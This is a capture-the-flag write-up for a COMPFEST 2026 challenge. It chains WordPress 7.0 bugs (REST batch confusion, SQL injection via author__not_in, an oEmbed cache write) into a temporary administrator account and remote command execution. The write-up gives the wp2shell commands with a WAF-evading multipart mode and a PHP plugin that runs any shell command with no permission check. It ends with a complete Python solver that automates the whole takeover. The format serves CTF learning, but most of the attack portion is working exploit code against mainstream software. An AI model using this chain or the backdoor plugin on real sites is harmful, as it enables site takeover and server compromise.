COMPFEST CTF 2026 Writeup: Egg

TL;DR#

The Egg theme is mostly a distraction. The page only gives us an egg image and an MP3, but the server is running WordPress 7.0. That version is vulnerable to the wp2shell chain: a batch desynchronisation bypasses the REST permission check, author__not_in gives us SQL injection, and WordPress’s own oEmbed cache turns the injected rows into database writes.

That gets us a temporary administrator. From there, we log in, upload a tiny plugin, and use its REST route to run cat /flag.txt.

The first page is a black screen with a small pixel tree. The visible Egg theme does not contain the flag.

1. First look#

The first request only gives us egg.gif and egg.mp3. There is no useful content in the page itself, so I checked the WordPress version from the usual public fingerprints and found WordPress 7.0.

That version is the useful clue. The theme name and the two Egg files are decoys; the intended path is in WordPress core.

2. Researching WordPress 7.0#

The version number gave me something concrete to search for. I searched Google for WordPress 7.0 vulnerabilities and found the WordPress 7.0.2 security release. It names a REST API batch-route confusion issue and a SQL injection issue that can be chained into remote code execution, and lists them as CVE-2026-63030 and CVE-2026-60137.

That led me to mcipekci/wp2shell. Its README describes a single-file proof of concept for the same two bugs and lists WordPress 7.0.0 to 7.0.1 as vulnerable, with 7.0.2 as the patched release. The challenge reports WordPress 7.0, so the PoC was a good match for the target.

The version, the REST batch endpoint, and the matching PoC gave us a much shorter path to test.

3. Why wp2shell works here#

The supplied wp2shell tool targets the WordPress versions affected by two bugs:

The SQL injection is not enough by itself. It lets us fabricate rows, but we still need a write primitive and a way to become an administrator.

The useful bridge is WordPress’s oEmbed handling. A fabricated post containing [embed] causes WordPress to create an oembed_cache postmeta row. The injected data therefore moves from a read-only result into a real database write. The chain then creates a customizer changeset and a queued request that WordPress replays as the real administrator long enough to create a new admin account.

The public PoC used in the archive is mcipekci/wp2shell. It is a single Python file and already understands the WordPress batch format used by this challenge.

4. The WAF only watches the URL#

The stock request is blocked by the host WAF:

1
X-Egg-WAF: blocked

The problem is the URL form of the request. The tool also supports sending rest_route and the batch fields inside a multipart/form-data body. That keeps the suspicious route out of the query string while WordPress still receives the same batch request.

The stock primer is blocked. Moving the route into a multipart body lets the request reach WordPress.

The important command-line change is:

1
python3 wp2shell.py http://34.2.22.80:30096 --check --form

With --form, the check reports the vulnerable batch confusion and the author__not_in injection. Without it, the WAF blocks the request before WordPress sees it.

5. From SQL injection to a temporary admin#

The tool uses the batch confusion twice. The outer request reaches the public posts endpoint, and the inner request puts our value into author__not_in. The UNION ALL SELECT then fabricates the rows needed by the rest of the chain.

1
python3 wp2shell.py http://34.2.22.80:30096 --dump --form

This is enough to confirm the table prefix and read the data needed to construct the write. There is no reason to crack the administrator’s password hash. The chain creates a new administrator instead.

1
python3 wp2shell.py http://34.2.22.80:30096 --exec "id" --form

At this point the tool can create the account, but its automatic login misses one WordPress detail. wp-login.php expects the wordpress_test_cookie flow. The account exists, but logging in with only the proxy cookie produces the “Cookies are blocked” page.

I fixed that by keeping two cookie jars: one for the CTFd proxy token and one for the WordPress session. The login request includes testcookie=1, then I verify the result by fetching /wp-admin/.

The temporary administrator is logged in. The original admin account and the generated account are visible in the user list.

The flag is not in the WordPress database. It is stored in /flag.txt, outside the web root, so we still need command execution.

6. Upload a small plugin#

As the temporary administrator, open the plugin upload page, read its _wpnonce, and upload a zip containing this plugin:

1
<?php /** Plugin Name: Helper */
2
add_action('rest_api_init', function(){
3
  register_rest_route('h123/v1', '/r', [
4
    'methods' => 'POST',
5
    'callback' => fn($r) => [
6
      'data' => shell_exec(base64_decode($r->get_param('x')) . " 2>&1")
7
    ],
8
    'permission_callback' => '__return_true'
9
  ]);
10
});

The plugin adds /h123/v1/r. Its permission callback returns true, so the route does not need another WordPress nonce after activation.

The generated plugin is uploaded and activated from the WordPress admin page.

The command is base64 encoded before it is sent to the route:

1
echo -n "cat /flag.txt" | base64 -w0
2
# Y2F0IC9mbGFnLnR4dA==
3

4
curl -b "ctfd_proxy_token=..." -b wp.txt \\
5
  -H "Content-Type: application/json" \\
6
  -d '{"x":"Y2F0IC9mbGFnLnR4dA=="}' \\
7
  'http://34.2.22.80:30096/index.php?rest_route=/h123/v1/r'

The response is:

1
{"data":"COMPFEST18{th3_3gg_h4s_h4tch3d_os9VLnOWKSQp2PQ4}\n"}

--form is the part that gets past the host WAF. WordPress still receives the batch request in the body.

7. The complete solver#

solve.py automates the full chain described above:

1. attach the CTFd proxy cookie;
2. use --form mode to reach the vulnerable batch endpoint;
3. create a temporary administrator through the SQLi to oEmbed write chain;
4. log in with the WordPress test cookie;
5. upload and activate the helper plugin;
6. call the helper route and print the flag.

The version shown here leaves the CTFd token out of the post. Set it in CTFD_PROXY_TOKEN when running the script. solve.py is the orchestration layer: it calls the lower-level wp2shell module, finishes the WordPress login and plugin steps, requests /flag.txt, and extracts the flag from the response.

1
#!/usr/bin/env python3
2
import base64
3
import http.cookiejar
4
import io
5
import json
6
import os
7
import pathlib
8
import re
9
import secrets
10
import ssl
11
import sys
12
import urllib.parse
13
import urllib.request
14
import zipfile
15

16
CTFD = os.environ["CTFD_PROXY_TOKEN"]
17
ROOT = sys.argv[1] if len(sys.argv) > 1 else "http://34.2.22.80:30096"
18
ROOT = ROOT.rstrip("/")
19

20
HERE = pathlib.Path(__file__).parent
21
sys.path.insert(0, str(HERE))
22
import wp2shell
23

24
wp2shell.CTFD_COOKIE = f"ctfd_proxy_token={CTFD}"
25
orig_make = wp2shell._make_opener
26

27

28
def patched_make(proxy=None, cookies=None, user_agent=None):
29
    opener = orig_make(proxy, cookies, user_agent)
30
    opener.addheaders = [
31
        (key, value)
32
        for key, value in opener.addheaders
33
        if key.lower() != "cookie"
34
    ] + [("Cookie", wp2shell.CTFD_COOKIE)]
35
    return opener
36

37

38
wp2shell._make_opener = patched_make
39
from wp2shell import WordPressTarget, create_admin_and_run
40

41
print(f"[*] target {ROOT}")
42
target = WordPressTarget(ROOT, verbose=False)
43
target.form = True
44
if not target.arm():
45
    raise SystemExit("[-] target did not report as vulnerable")
46
print(f"[+] vulnerable mode={target.mode}")
47

48
login, password, _, _ = create_admin_and_run(target, "id")
49
print(f"[+] temporary admin {login}:{password}")
50

51

52
def login_as_admin(root, username, password):
53
    jar = http.cookiejar.MozillaCookieJar()
54
    opener = urllib.request.build_opener(
55
        urllib.request.HTTPCookieProcessor(jar),
56
        urllib.request.HTTPSHandler(
57
            context=ssl._create_unverified_context()
58
        ),
59
    )
60
    opener.addheaders = [
61
        ("User-Agent", "Mozilla/5.0"),
62
        ("Cookie", f"ctfd_proxy_token={CTFD}"),
63
    ]
64

65
    def request(path, data=None, headers=None):
66
        req = urllib.request.Request(
67
            root + path,
68
            data=data,
69
            headers=headers or {},
70
            method="POST" if data else "GET",
71
        )
72
        return opener.open(req, timeout=30).read().decode()
73

74
    request("/wp-login.php")
75
    form = urllib.parse.urlencode({
76
        "log": username,
77
        "pwd": password,
78
        "wp-submit": "Log In",
79
        "redirect_to": root + "/wp-admin/",
80
        "testcookie": "1",
81
    }).encode()
82
    request("/wp-login.php", data=form)
83
    assert "Dashboard" in request("/wp-admin/"), "login failed"
84
    return opener
85

86

87
opener = login_as_admin(ROOT, login, password)
88
print("[+] logged in as temporary admin")
89

90
plugin = b'''<?php /** Plugin Name: Helper */ add_action('rest_api_init',function(){register_rest_route('h123/v1','/r',['methods'=>'POST','callback'=>fn($r)=>["data"=>shell_exec(base64_decode($r->get_param('x'))." 2>&1")],'permission_callback'=>'__return_true']);});'''
91
archive = io.BytesIO()
92
with zipfile.ZipFile(archive, "w", zipfile.ZIP_DEFLATED) as z:
93
    z.writestr("helper-egg/helper-egg.php", plugin)
94
archive.seek(0)
95

96
upload_page = opener.open(
97
    urllib.request.Request(ROOT + "/wp-admin/plugin-install.php?tab=upload")
98
).read().decode()
99
nonce = re.search(r'name="_wpnonce" value="([^"]+)"', upload_page).group(1)
100
boundary = "b" + secrets.token_hex(14)
101
body = (
102
    f"--{boundary}\r\nContent-Disposition: form-data; name=\"_wpnonce\"\r\n\r\n{nonce}\r\n"
103
    f"--{boundary}\r\nContent-Disposition: form-data; name=\"_wp_http_referer\"\r\n\r\n/wp-admin/plugin-install.php?tab=upload\r\n"
104
    f"--{boundary}\r\nContent-Disposition: form-data; name=\"pluginzip\"; filename=\"helper-egg.zip\"\r\nContent-Type: application/zip\r\n\r\n"
105
).encode() + archive.getvalue() + f"\r\n--{boundary}--\r\n".encode()
106
upload = urllib.request.Request(
107
    ROOT + "/wp-admin/update.php?action=upload-plugin",
108
    data=body,
109
    headers={"Content-Type": f"multipart/form-data; boundary={boundary}"},
110
)
111
uploaded = opener.open(upload).read().decode()
112
activate = re.search(r'plugins\.php\?action=activate[^"]+', uploaded)
113
assert activate, "plugin upload failed"
114
opener.open(urllib.request.Request(
115
    ROOT + "/wp-admin/" + activate.group(0).replace("&amp;", "&")
116
))
117
print("[+] plugin activated")
118

119
command = base64.b64encode(b"cat /flag.txt").decode()
120
request = urllib.request.Request(
121
    ROOT + "/index.php?rest_route=/h123/v1/r",
122
    data=json.dumps({"x": command}).encode(),
123
    headers={"Content-Type": "application/json"},
124
)
125
output = json.loads(opener.open(request).read().decode())["data"]
126
print(output)
127
match = re.search(r"COMPFEST18\{[^}]+\}", output)
128
if match:
129
    print(f"[+] FLAG: {match.group(0)}")

Run it with the token in the environment:

1
export CTFD_PROXY_TOKEN='your-private-ctfd-proxy-token'
2
python3 solve.py http://34.2.22.80:30096

Expected output:

1
[*] target http://34.2.22.80:30096
2
[+] vulnerable mode=union
3
[+] temporary admin ...
4
[+] logged in as temporary admin
5
[+] plugin activated
6
[+] FLAG: COMPFEST18{th3_3gg_h4s_h4tch3d_os9VLnOWKSQp2PQ4}

Flag#

1
COMPFEST18{th3_3gg_h4s_h4tch3d_os9VLnOWKSQp2PQ4}

What I learned#

• The useful version number was in WordPress core, not in egg.gif or egg.mp3.
• A WAF rule that only checks the URL can miss the same route when it arrives in a multipart body.
• SQL injection can sometimes become a write primitive through application behaviour. Here, WordPress cached injected [embed] rows as oembed_cache metadata.
• Automatic login was the only awkward part of the chain. The generated account worked once the wordpress_test_cookie flow was included.
• The final plugin was deliberately small. It accepted a base64 encoded command, ran it with shell_exec, and returned the output through a REST response.

References and further reading#

These references explain the platform behaviour behind the chain: the security release identifies the fixes, wp2shell shows the exploit path, and the WordPress documentation provides context for the REST, query, and oEmbed behaviour used in the solve.

• WordPress 7.0.2 security release
• mcipekci/wp2shell
• WordPress REST API Handbook
• REST API requests and batch endpoints
• WP_Query reference
• WP_Embed class reference